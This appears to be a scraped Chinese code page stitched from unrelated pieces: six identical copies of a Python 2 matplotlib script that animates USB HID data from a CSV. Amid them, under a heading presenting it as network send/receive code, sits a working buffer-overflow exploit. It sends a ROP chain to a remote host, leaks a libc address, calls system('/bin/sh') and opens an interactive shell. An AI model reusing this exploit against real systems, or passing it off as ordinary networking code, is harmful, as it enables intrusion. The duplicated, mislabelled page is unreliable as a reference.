- # -*- coding: utf-8 -*-
- """
- Spyder Editor
- This temporary script file is located here:
- C:\Users\user\.spyder2\.temp.py
- """
- """
- Show how to modify the coordinate formatter to report the image "z"
- value of the nearest pixel given x and y
- """
- # coding: utf-8
- import time
- import string
- import os
- import math
- import pylab
- import numpy as np
- from numpy import genfromtxt
- import matplotlib
- import matplotlib as mpl
- from matplotlib.colors import LogNorm
- from matplotlib.mlab import bivariate_normal
- import matplotlib.pyplot as plt
- import matplotlib.cm as cm
- import matplotlib.animation as animation
- metric = genfromtxt('D:\export.csv', delimiter=',')
- lines=len(metric)
- #print len(metric)
- #print len(metric[4])
- #print metric[4]
- rowdatas=metric[:,0]
- for index in range(len(metric[4])-1):
- a=metric[:,index+1]
- rowdatas=np.row_stack((rowdatas,a))
- #print len(rowdatas)
- #print len(rowdatas[4])
- #print rowdatas[4]
- #
- #plt.figure(figsize=(38,38), dpi=80)
- #plt.plot(rowdatas[4] )
- #plt.xlabel('time')
- #plt.ylabel('value')
- #plt.title("USBHID data analysis")
- #plt.show()
- linenum=1
- ##如果是参数是list,则默认每次取list中的一个元素,即metric[0],metric[1],...
- listdata=rowdatas.tolist()
- print listdata[4]
- #fig = plt.figure()
- #window = fig.add_subplot(111)
- #line, = window.plot(listdata[4] )
- fig, ax = plt.subplots()
- line, = ax.plot(listdata[4],lw=2)
- ax.grid()
- time_template = 'Data ROW = %d'
- time_text = ax.text(0.05, 0.9, '', transform=ax.transAxes)
- #ax = plt.axes(xlim=(0, 700), ylim=(0, 255))
- #line, = ax.plot([], [], lw=2)
- def update(data):
- global linenum
- line.set_ydata(data)
- # print 'this is line: %d'%linenum
- time_text.set_text(time_template % (linenum))
- linenum=linenum+1
- # nextitem = input(u'输入任意字符继续: ')
- return line,
- def init():
- # ax.set_ylim(0, 1.1)
- # ax.set_xlim(0, 10)
- # line.set_data(xdata)
- plt.xlabel('time')
- plt.ylabel('Time')
- plt.title('USBHID Data analysis')
- return line,
- ani = animation.FuncAnimation(fig, update,listdata , interval=1*1000,init_func=init,repeat=False)
- plt.show()
-
- # -*- coding: utf-8 -*-
- """
- Spyder Editor
- This temporary script file is located here:
- C:\Users\user\.spyder2\.temp.py
- """
- """
- Show how to modify the coordinate formatter to report the image "z"
- value of the nearest pixel given x and y
- """
- # coding: utf-8
- import time
- import string
- import os
- import math
- import pylab
- import numpy as np
- from numpy import genfromtxt
- import matplotlib
- import matplotlib as mpl
- from matplotlib.colors import LogNorm
- from matplotlib.mlab import bivariate_normal
- import matplotlib.pyplot as plt
- import matplotlib.cm as cm
- import matplotlib.animation as animation
- metric = genfromtxt('D:\export.csv', delimiter=',')
- lines=len(metric)
- #print len(metric)
- #print len(metric[4])
- #print metric[4]
- rowdatas=metric[:,0]
- for index in range(len(metric[4])-1):
- a=metric[:,index+1]
- rowdatas=np.row_stack((rowdatas,a))
- #print len(rowdatas)
- #print len(rowdatas[4])
- #print rowdatas[4]
- #
- #plt.figure(figsize=(38,38), dpi=80)
- #plt.plot(rowdatas[4] )
- #plt.xlabel('time')
- #plt.ylabel('value')
- #plt.title("USBHID data analysis")
- #plt.show()
- linenum=1
- ##如果是参数是list,则默认每次取list中的一个元素,即metric[0],metric[1],...
- listdata=rowdatas.tolist()
- print listdata[4]
- #fig = plt.figure()
- #window = fig.add_subplot(111)
- #line, = window.plot(listdata[4] )
- fig, ax = plt.subplots()
- line, = ax.plot(listdata[4],lw=2)
- ax.grid()
- time_template = 'Data ROW = %d'
- time_text = ax.text(0.05, 0.9, '', transform=ax.transAxes)
- #ax = plt.axes(xlim=(0, 700), ylim=(0, 255))
- #line, = ax.plot([], [], lw=2)
- def update(data):
- global linenum
- line.set_ydata(data)
- # print 'this is line: %d'%linenum
- time_text.set_text(time_template % (linenum))
- linenum=linenum+1
- # nextitem = input(u'输入任意字符继续: ')
- return line,
- def init():
- # ax.set_ylim(0, 1.1)
- # ax.set_xlim(0, 10)
- # line.set_data(xdata)
- plt.xlabel('time')
- plt.ylabel('Time')
- plt.title('USBHID Data analysis')
- return line,
- ani = animation.FuncAnimation(fig, update,listdata , interval=1*1000,init_func=init,repeat=False)
- plt.show()
pyqt如何显示实时数据 -
- # -*- coding: utf-8 -*-
- """
- Spyder Editor
- This temporary script file is located here:
- C:\Users\user\.spyder2\.temp.py
- """
- """
- Show how to modify the coordinate formatter to report the image "z"
- value of the nearest pixel given x and y
- """
- # coding: utf-8
- import time
- import string
- import os
- import math
- import pylab
- import numpy as np
- from numpy import genfromtxt
- import matplotlib
- import matplotlib as mpl
- from matplotlib.colors import LogNorm
- from matplotlib.mlab import bivariate_normal
- import matplotlib.pyplot as plt
- import matplotlib.cm as cm
- import matplotlib.animation as animation
- metric = genfromtxt('D:\export.csv', delimiter=',')
- lines=len(metric)
- #print len(metric)
- #print len(metric[4])
- #print metric[4]
- rowdatas=metric[:,0]
- for index in range(len(metric[4])-1):
- a=metric[:,index+1]
- rowdatas=np.row_stack((rowdatas,a))
- #print len(rowdatas)
- #print len(rowdatas[4])
- #print rowdatas[4]
- #
- #plt.figure(figsize=(38,38), dpi=80)
- #plt.plot(rowdatas[4] )
- #plt.xlabel('time')
- #plt.ylabel('value')
- #plt.title("USBHID data analysis")
- #plt.show()
- linenum=1
- ##如果是参数是list,则默认每次取list中的一个元素,即metric[0],metric[1],...
- listdata=rowdatas.tolist()
- print listdata[4]
- #fig = plt.figure()
- #window = fig.add_subplot(111)
- #line, = window.plot(listdata[4] )
- fig, ax = plt.subplots()
- line, = ax.plot(listdata[4],lw=2)
- ax.grid()
- time_template = 'Data ROW = %d'
- time_text = ax.text(0.05, 0.9, '', transform=ax.transAxes)
- #ax = plt.axes(xlim=(0, 700), ylim=(0, 255))
- #line, = ax.plot([], [], lw=2)
- def update(data):
- global linenum
- line.set_ydata(data)
- # print 'this is line: %d'%linenum
- time_text.set_text(time_template % (linenum))
- linenum=linenum+1
- # nextitem = input(u'输入任意字符继续: ')
- return line,
- def init():
- # ax.set_ylim(0, 1.1)
- # ax.set_xlim(0, 10)
- # line.set_data(xdata)
- plt.xlabel('time')
- plt.ylabel('Time')
- plt.title('USBHID Data analysis')
- return line,
- ani = animation.FuncAnimation(fig, update,listdata , interval=1*1000,init_func=init,repeat=False)
- plt.show()
- # -*- coding: utf-8 -*-
- """
- Spyder Editor
- This temporary script file is located here:
- C:\Users\user\.spyder2\.temp.py
- """
- """
- Show how to modify the coordinate formatter to report the image "z"
- value of the nearest pixel given x and y
- """
- # coding: utf-8
- import time
- import string
- import os
- import math
- import pylab
- import numpy as np
- from numpy import genfromtxt
- import matplotlib
- import matplotlib as mpl
- from matplotlib.colors import LogNorm
- from matplotlib.mlab import bivariate_normal
- import matplotlib.pyplot as plt
- import matplotlib.cm as cm
- import matplotlib.animation as animation
- metric = genfromtxt('D:\export.csv', delimiter=',')
- lines=len(metric)
- #print len(metric)
- #print len(metric[4])
- #print metric[4]
- rowdatas=metric[:,0]
- for index in range(len(metric[4])-1):
- a=metric[:,index+1]
- rowdatas=np.row_stack((rowdatas,a))
- #print len(rowdatas)
- #print len(rowdatas[4])
- #print rowdatas[4]
- #
- #plt.figure(figsize=(38,38), dpi=80)
- #plt.plot(rowdatas[4] )
- #plt.xlabel('time')
- #plt.ylabel('value')
- #plt.title("USBHID data analysis")
- #plt.show()
- linenum=1
- ##如果是参数是list,则默认每次取list中的一个元素,即metric[0],metric[1],...
- listdata=rowdatas.tolist()
- print listdata[4]
- #fig = plt.figure()
- #window = fig.add_subplot(111)
- #line, = window.plot(listdata[4] )
- fig, ax = plt.subplots()
- line, = ax.plot(listdata[4],lw=2)
- ax.grid()
- time_template = 'Data ROW = %d'
- time_text = ax.text(0.05, 0.9, '', transform=ax.transAxes)
- #ax = plt.axes(xlim=(0, 700), ylim=(0, 255))
- #line, = ax.plot([], [], lw=2)
- def update(data):
- global linenum
- line.set_ydata(data)
- # print 'this is line: %d'%linenum
- time_text.set_text(time_template % (linenum))
- linenum=linenum+1
- # nextitem = input(u'输入任意字符继续: ')
- return line,
- def init():
- # ax.set_ylim(0, 1.1)
- # ax.set_xlim(0, 10)
- # line.set_data(xdata)
- plt.xlabel('time')
- plt.ylabel('Time')
- plt.title('USBHID Data analysis')
- return line,
- ani = animation.FuncAnimation(fig, update,listdata , interval=1*1000,init_func=init,repeat=False)
- plt.show()
python 网络发送接收数据代码
#coding:utf-8
__author__
=
'Dazdingo'
from
socket
import
*
import
struct
import
time
import
threading
import
sys
is_recv
=
True
sock_host
=
'192.168.206.130'
sock_port
=
8080
S
=
socket(AF_INET, SOCK_STREAM)
def
send(ss, tail
=
''):
global
S
if
tail:
ss
+
=
tail
print
ss
S.send(ss)
def
outputrecv():
global
S
while
1
:
if
is_recv:
i
=
S.recv(
1024
)
if
i:
sys.stdout.write(i)
def
start_recv():
#start recv
t
=
threading.Thread(target
=
outputrecv, args
=
())
t.daemon
=
True
t.start()
def
get_shell():
#start recv
start_recv()
global
S
while
1
:
time.sleep(
0.1
)
ss
=
raw_input
()
+
'\n'
S.send(ss)
def
main():
global
S
if
len
(sys.argv)
=
=
3
:
sock_host
=
sys.argv[
1
]
sock_port
=
int
(sys.argv[
2
])
S.connect((sock_host, sock_port))
a
=
raw_input
(
'pause'
)
print
S.recv(
1024
)
send(
'syclover\x001111111\xf0'
)
print
S.recv(
1024
)
ebp
=
'\x20\x99\x04\x08'
libc
=
'\x5c\x98\x04\x08'
#__libc_start_main
retaddr1
=
'\xa0\x83\x04\x08'
# write
retaddr2
=
'\xbe\x85\x04\x08'
#pop;pop;pop;ret
pop_ebp_ret
=
'\xc0\x85\x04\x08'
retaddr3
=
'\x60\x83\x04\x08'
# read
retaddr4
=
'\xd2\x85\x04\x08'
#leave ret
send(
'A'
*
0x9c
+
ebp
+
retaddr1
+
retaddr2
+
'\x01\x00\x00\x00'
+
libc
+
'\x04\x00\x00\x00'
+
pop_ebp_ret
+
ebp
+
retaddr3
+
retaddr4
+
'\x00\x00\x00\x00'
+
'\x24\x99\x04\x08'
+
'\xf0\x00\x00\x00'
)
time.sleep(
1
)
l
=
S.recv(
1024
)
libcaddr
=
struct.unpack(
'I'
, l)[
0
]
print
'__libc_start_main:'
,
hex
(libcaddr)
system
=
libcaddr
+
0x26050
send(struct.pack(
'I'
, system)
+
'AAAA'
+
'\x30\x99\x04\x08'
+
'/bin/sh\x00'
)
get_shell()
if
__name__
=
=
'__main__'
:
main()
- # -*- coding: utf-8 -*-
- """
- Spyder Editor
- This temporary script file is located here:
- C:\Users\user\.spyder2\.temp.py
- """
- """
- Show how to modify the coordinate formatter to report the image "z"
- value of the nearest pixel given x and y
- """
- # coding: utf-8
- import time
- import string
- import os
- import math
- import pylab
- import numpy as np
- from numpy import genfromtxt
- import matplotlib
- import matplotlib as mpl
- from matplotlib.colors import LogNorm
- from matplotlib.mlab import bivariate_normal
- import matplotlib.pyplot as plt
- import matplotlib.cm as cm
- import matplotlib.animation as animation
- metric = genfromtxt('D:\export.csv', delimiter=',')
- lines=len(metric)
- #print len(metric)
- #print len(metric[4])
- #print metric[4]
- rowdatas=metric[:,0]
- for index in range(len(metric[4])-1):
- a=metric[:,index+1]
- rowdatas=np.row_stack((rowdatas,a))
- #print len(rowdatas)
- #print len(rowdatas[4])
- #print rowdatas[4]
- #
- #plt.figure(figsize=(38,38), dpi=80)
- #plt.plot(rowdatas[4] )
- #plt.xlabel('time')
- #plt.ylabel('value')
- #plt.title("USBHID data analysis")
- #plt.show()
- linenum=1
- ##如果是参数是list,则默认每次取list中的一个元素,即metric[0],metric[1],...
- listdata=rowdatas.tolist()
- print listdata[4]
- #fig = plt.figure()
- #window = fig.add_subplot(111)
- #line, = window.plot(listdata[4] )
- fig, ax = plt.subplots()
- line, = ax.plot(listdata[4],lw=2)
- ax.grid()
- time_template = 'Data ROW = %d'
- time_text = ax.text(0.05, 0.9, '', transform=ax.transAxes)
- #ax = plt.axes(xlim=(0, 700), ylim=(0, 255))
- #line, = ax.plot([], [], lw=2)
- def update(data):
- global linenum
- line.set_ydata(data)
- # print 'this is line: %d'%linenum
- time_text.set_text(time_template % (linenum))
- linenum=linenum+1
- # nextitem = input(u'输入任意字符继续: ')
- return line,
- def init():
- # ax.set_ylim(0, 1.1)
- # ax.set_xlim(0, 10)
- # line.set_data(xdata)
- plt.xlabel('time')
- plt.ylabel('Time')
- plt.title('USBHID Data analysis')
- return line,
- ani = animation.FuncAnimation(fig, update,listdata , interval=1*1000,init_func=init,repeat=False)
- plt.show()
pyqt如何显示实时数据
- # -*- coding: utf-8 -*-
- """
- Spyder Editor
- This temporary script file is located here:
- C:\Users\user\.spyder2\.temp.py
- """
- """
- Show how to modify the coordinate formatter to report the image "z"
- value of the nearest pixel given x and y
- """
- # coding: utf-8
- import time
- import string
- import os
- import math
- import pylab
- import numpy as np
- from numpy import genfromtxt
- import matplotlib
- import matplotlib as mpl
- from matplotlib.colors import LogNorm
- from matplotlib.mlab import bivariate_normal
- import matplotlib.pyplot as plt
- import matplotlib.cm as cm
- import matplotlib.animation as animation
- metric = genfromtxt('D:\export.csv', delimiter=',')
- lines=len(metric)
- #print len(metric)
- #print len(metric[4])
- #print metric[4]
- rowdatas=metric[:,0]
- for index in range(len(metric[4])-1):
- a=metric[:,index+1]
- rowdatas=np.row_stack((rowdatas,a))
- #print len(rowdatas)
- #print len(rowdatas[4])
- #print rowdatas[4]
- #
- #plt.figure(figsize=(38,38), dpi=80)
- #plt.plot(rowdatas[4] )
- #plt.xlabel('time')
- #plt.ylabel('value')
- #plt.title("USBHID data analysis")
- #plt.show()
- linenum=1
- ##如果是参数是list,则默认每次取list中的一个元素,即metric[0],metric[1],...
- listdata=rowdatas.tolist()
- print listdata[4]
- #fig = plt.figure()
- #window = fig.add_subplot(111)
- #line, = window.plot(listdata[4] )
- fig, ax = plt.subplots()
- line, = ax.plot(listdata[4],lw=2)
- ax.grid()
- time_template = 'Data ROW = %d'
- time_text = ax.text(0.05, 0.9, '', transform=ax.transAxes)
- #ax = plt.axes(xlim=(0, 700), ylim=(0, 255))
- #line, = ax.plot([], [], lw=2)
- def update(data):
- global linenum
- line.set_ydata(data)
- # print 'this is line: %d'%linenum
- time_text.set_text(time_template % (linenum))
- linenum=linenum+1
- # nextitem = input(u'输入任意字符继续: ')
- return line,
- def init():
- # ax.set_ylim(0, 1.1)
- # ax.set_xlim(0, 10)
- # line.set_data(xdata)
- plt.xlabel('time')
- plt.ylabel('Time')
- plt.title('USBHID Data analysis')
- return line,
- ani = animation.FuncAnimation(fig, update,listdata , interval=1*1000,init_func=init,repeat=False)
- plt.show()